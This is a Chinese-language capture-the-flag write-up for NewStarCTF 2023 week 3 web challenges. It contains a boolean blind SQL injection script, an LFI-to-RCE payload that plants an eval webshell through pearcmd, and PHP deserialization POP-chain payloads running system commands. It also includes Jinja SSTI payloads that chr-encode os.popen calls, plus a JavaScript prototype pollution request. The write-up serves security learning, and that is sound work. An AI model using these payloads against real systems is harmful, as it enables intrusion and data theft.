[wp]NewStarCTF 2023 WEEK3|WEB
后台-插件-广告管理-内容页头部广告(手机) |
WEEK3|WEB(5/6)
medium_sql
Sqlmap一把梭 (部分能直接 flag' 部分出现flag不完整 或者部分爆不到表 等官方wp)
在week1的基础上,多过滤了union。
验证存在布尔盲注:
?id=TMP0919' And if(1>0,1,0)#
?id=TMP0919' And if(0>1,1,0)#
发第一个,有回显,第二个,没回显,说明页面可以根据if判断的结果回显两种(真假)内容,因此是布尔盲注。
盲注脚本,用二分查找。(不会二分查找也没事,可以尝试自己写,反正初学别用sqlmap)
- import requests
- def condition(res):
- if 'Physics' in res.text:
- return True
- return False
- result = ''
- _url = 'http://574acc4c-77b6-4ebe-8f29-28c546083e86.node4.buuoj.cn:81/'
- import time
- for _time in range(1,1000):
- print("time:%d" % (_time))
- left = 32
- right = 128
- while (right > left):
- mid = (left + right) // 2
- # 获取当前库表名
- # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
- url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"
- # 获取字段名
- # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
- # 获取字段值
- time.sleep(0.2)
- res = requests.get(url=url)
- if (condition(res)):
- result += chr(mid)
- print(result)
- break
- else:
- # 获取当前库表名
- # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
- # 获取字段名
- # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
- # 获取字段值
- url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"
- res = requests.get(url=url)
- if (condition(res)):
- left = mid
- else:
- right = mid
Include
题目提示了LFI to RCE,以及源码中提示了让你访问phpinfo
查找flag发现让你check register_argc_argv
那我们找到register_argc_argv 这个选项
为 on 这里就涉及LFI包含 pearcmd命令执行学习
具体知识可以访问
LFI包含pearcmd命令执行学习 - Yu_so1dier0n - 博客园 (cnblogs.com)
https://www.cnblogs.com/Yu--/p/15788689.html
具体利用方式上边讲的很详细 我们直接做这道题 因为这道题我觉得应该是不出网访问,我们利用不出网的方式进行构造
首先写入带有一句话木马的ha.php写入到根目入 你也可放其他的
然后访问网址 像这种
Payload:?file=/usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST['a'])?>+./ha.php
(这里有个坑,直接url中get传参会把<这些字符自动编码,就成功不了,所以用burp抓包再改传参)这个特别重要 我就是这里改少了 导致后边做不了
然后我们直接访问./ha (我这里的ha.php文件是创建再根目录的,所以要加./)
题目源码解析自动带php 然后直接进行rce
连接yijian也可也
POP Gadget
首先明白一个点
代码审计 以及payload构造:
- <?php
- class Begin{
- public $name;
- public function __destruct()
- {
- if(preg_match("/[a-zA-Z0-9]/",$this->name)){
- echo "Hello";
- }else{
- echo "Welcome to NewStarCTF 2023!";
- }
- }
- }
- class Then{
- private $func;
- public function __construct()
- {
- $a=new Super();
- $this->func=$a;
- }//构造一个构造方法 来进行触发Super里面的__invoke()魔术方法 因为private()函数原因 类的内部能够访问 但外部不能访问
- public function __toString()
- {
- ($this->func)();
- return "Good Job!";
- }
- }
- class Handle{
- protected $obj;
- public function __construct()
- {
- $this->obj=new CTF();
- }//构造一个构造方法 进入CTF的内部 因为protected()函数原因 子类能够访问 但外部不能访问
- public function __call($func, $vars)
- {
- $this->obj->end();
- }
- }
- class Super{
- protected $obj;
- public function __construct()
- {
- $this->obj=new Handle();
- } //构造一个构造方法 来进行触发Handle里面的__call()魔术方法 因为protected()函数原因 子类能够访问 但外部不能访问
- public function __invoke()
- {
- $this->obj->getStr();
- }
- public function end()
- {
- die("==GAME OVER==");
- }
- }
- class CTF{
- public $handle;
- public function __construct()
- {
- $b=new WhiteGod();
- $this->handle=$b;
- } //自己创建构造函数 来触发下面的__unset()魔术方法
- public function end()
- {
- unset($this->handle->log);
- }
- }
- class WhiteGod{
- public $func='system'; //赋值来构造命令执行
- public $var='ls /';
- public function __unset($var)
- {
- ($this->func)($this->var); //出口函数 采用传参的拼接 可以执行命令执行漏洞
- }
- }
- //pop链:__construct()->__tostring()->__invoke()->__call()->CTF()->__unset
- $k=new Begin(); //创建对象自动销毁触发__construct()魔术方法
- $k->name=new Then(); //触发__tostring()魔术方法
- echo urlencode(serialize($k)); //url编码可以绕过私有属性和保护属性 或者采用%00来替补
然后发现了flag之后修改命令参数获得flag
最终Payload:
O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:10:"%00Then%00func";O:5:"Super":1:{s:6:"%00*%00obj";O:6:"Handle":1:{s:6:"%00*%00obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}
这里说明一点:这里我采用的是%00来补因为私有和被保护的变量序列化的值 最好的方法是采用urlencode来解决
R!!!C!!!E!!!
这道题跟ctfshow web 136题相似 就是过滤条件不同 这道题也算是卡了特别久,但最终跟朋友一起讨论还是找出了方法 就是采用 ls / | t’’ee a的方法进行查看
类似这种
序列化字符串很简单 直接触发tostring就可以了
我们直接给代码
- <?php
- class minipop{
- public $code="ls / | t''ee b";
- public $qwejaskdjnlka;
- }
- $a=new minipop();
- $b= new minipop(); //调用两次
- $b->qwejaskdjnlka=$a;
- echo serialize($b);
- ?>
Payload:
O:7:"minipop":2:{s:4:"code";s:14:"ls / | t''ee b";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:14:"ls / | t''ee b";s:13:"qwejaskdjnlka";N;}}
(讲个坑 因为之前做tee命令习惯把它转为b.txt这种 但.被过滤 导致卡了有点时间 这里b就行)
看到flag文件 然后也是一样的方法
Paylaod:
O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee b";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee b";s:13:"qwejaskdjnlka";N;}}
按照上边的先传在访问就行了 得到flag
GenShin
发现文件路径 访问得到要你对name传参
那我们传 得到的就是一个回显admin 你穿什么就得到什么 首先想到 的是伪协议读取 但文件路径没给 经过测试还是失败了 那我们试试目录穿越 也失败了 那就在想 传什么得到什么 wee3了 应该可用尝试ssti注入,经过测试发现很多符号被ban了 然后查找资料发现下篇文章跟这个题目很相似 0很有用
从[2020安洵杯]赛后以及近期遇到的SSTI总结 – yyz の blog
我们使用以下命令测试
{%print(7*7)%}
出现49 说明成功了 我们看下config配置 看看key
没有,那考点应该不是爆破 查看一下子类
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()%}
那我们找可利用的模块就行了 查找
输入查找 ,就饿可以查看位置了
这样的话我们可以使用__init__方法再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值,但这里init被过滤我们采用’’+’’进行绕过 即in’’+’’it
Payload:
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}
然后找到了eval 然后我们可按照下面这样来构造命令
但是popen被过滤 但是我们可用采用chr编码进行绕过 就是
__import__('os').popen('ls /').read()进行chr编码,但我们还是要执行这个函数
所以我们可用使用eval 就是eval(__import__('os').popen('ls /').read())
所以发现flag之后也是一样的改为__import__('os').popen('cat /flag').read() 进行chr编码就行
别问我为什么不用uni编码 因为不成功....
最终paylaod:
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}得到flag
OtenkiGirl
不会 等官方wp再补充
官方wp
- 考点:JavaScript 原型链污染(__proto__)
- FLAG:动态FLAG
- 解题步骤
特地写了篇文章试图讲清楚 JavaScript 原型链:https://www.yuque.com/cnily03/tech/js-prototype-pollution
随便提交一些信息,通过抓包或者直接查看附件的源码都能发现下面两个请求地址:
- 获取全部信息
POST /info/0 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
可以改变0的值就是获取到指定时间戳之后的信息
- 提交信息
POST /submit HTTP/1.1
Content-Type: application/json
提交信息必须为 JSON 格式,contact和reason字段是必须的,例如
POST /submit HTTP/1.1
Content-Type: application/json
{
"contact": "test",
"reason": "test"
}
响应
HTTP/1.1 200 OK
connection: close
content-length: 159
content-type: application/json; charset=utf-8
date: Sun, 24 Sep 2023 07:09:54 GMT
server: openresty
{
"status": "success",
"data": {
"wishid": "2Tn69Yq5hBbTwLdihWZfdKVF",
"date": "unknown",
"place": "unknown",
"contact": "test",
"reason": "test",
"timestamp": 1695539394820
}
}
查看routes/info.js源码,考察从数据库中获取数据的函数getInfo
- async function getInfo(timestamp) {
- timestamp = typeof timestamp === "number" ? timestamp : Date.now();
- // Remove test data from before the movie was released
- let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
- timestamp = Math.max(timestamp, minTimestamp);
- const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
- return data;
- }
其中第4行和第5行将我们传入的timestamp做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time
查看根目录下的config.js和config.default.js后发现config.js并没有配置min_public_time,因此getInfo的第5行只是采用了DEFAULT_CONFIG.min_public_time
考虑原型链污染污染min_public_time为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据
查看routes/submit.js源码,发现注入点
- const merge = (dst, src) => {
- if (typeof dst !== "object" || typeof src !== "object") return dst;
- for (let key in src) {
- if (key in dst && key in src) {
- dst[key] = merge(dst[key], src[key]);
- } else {
- dst[key] = src[key];
- }
- }
- return dst;
- }
- const result = await insert2db(merge(DEFAULT, data));
其中merge函数第7行存在原型链污染,因此只要考虑注入data['__proto__']['min_public_time']的值即可
于是构造payload
POST /submit HTTP/1.1
Content-Type: application/json
{
"contact": "test",
"reason": "test",
"__proto__": {
"min_public_time": "1001-01-01"
}
}000000
然后为我们再请求/info/0,就能得到更多的数据,其中一条是
{
"wishid": "L6VFppr6GDqYPELMGTNTeNZ6",
"date": "2021-09-27",
"place": "学園都市",
"contact": "御坂美琴",
"reason": "海胆のような顔をしたあいつが大覇星祭で私に負けた、彼を連れて出かけるつもりだ。彼を携帯店のカップルのイベントに連れて行きたい(イベントでプレゼントされるゲコ太は超レアだ!)晴れの日が必要で、彼を完全にやっつける!ゲコ太の抽選番号はflag{2696dfcb-5628-41a2-8947-f3f6c59aab8f}です",
"timestamp": 1190726040113
}
得到 flag
flag{2696dfcb-5628-41a2-8947-f3f6c59aab8f}
注意:在提交 payload 的请求后直接刷新网页并不会获取到上面的数据,这是因为网页启用了缓存,会发送本地缓存中最晚时间的info请求。如果想要通过刷新网页获取数据,只需要在开发者工具 -> 应用程序 -> 存储中清除网站数据然后刷新网页即可。
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |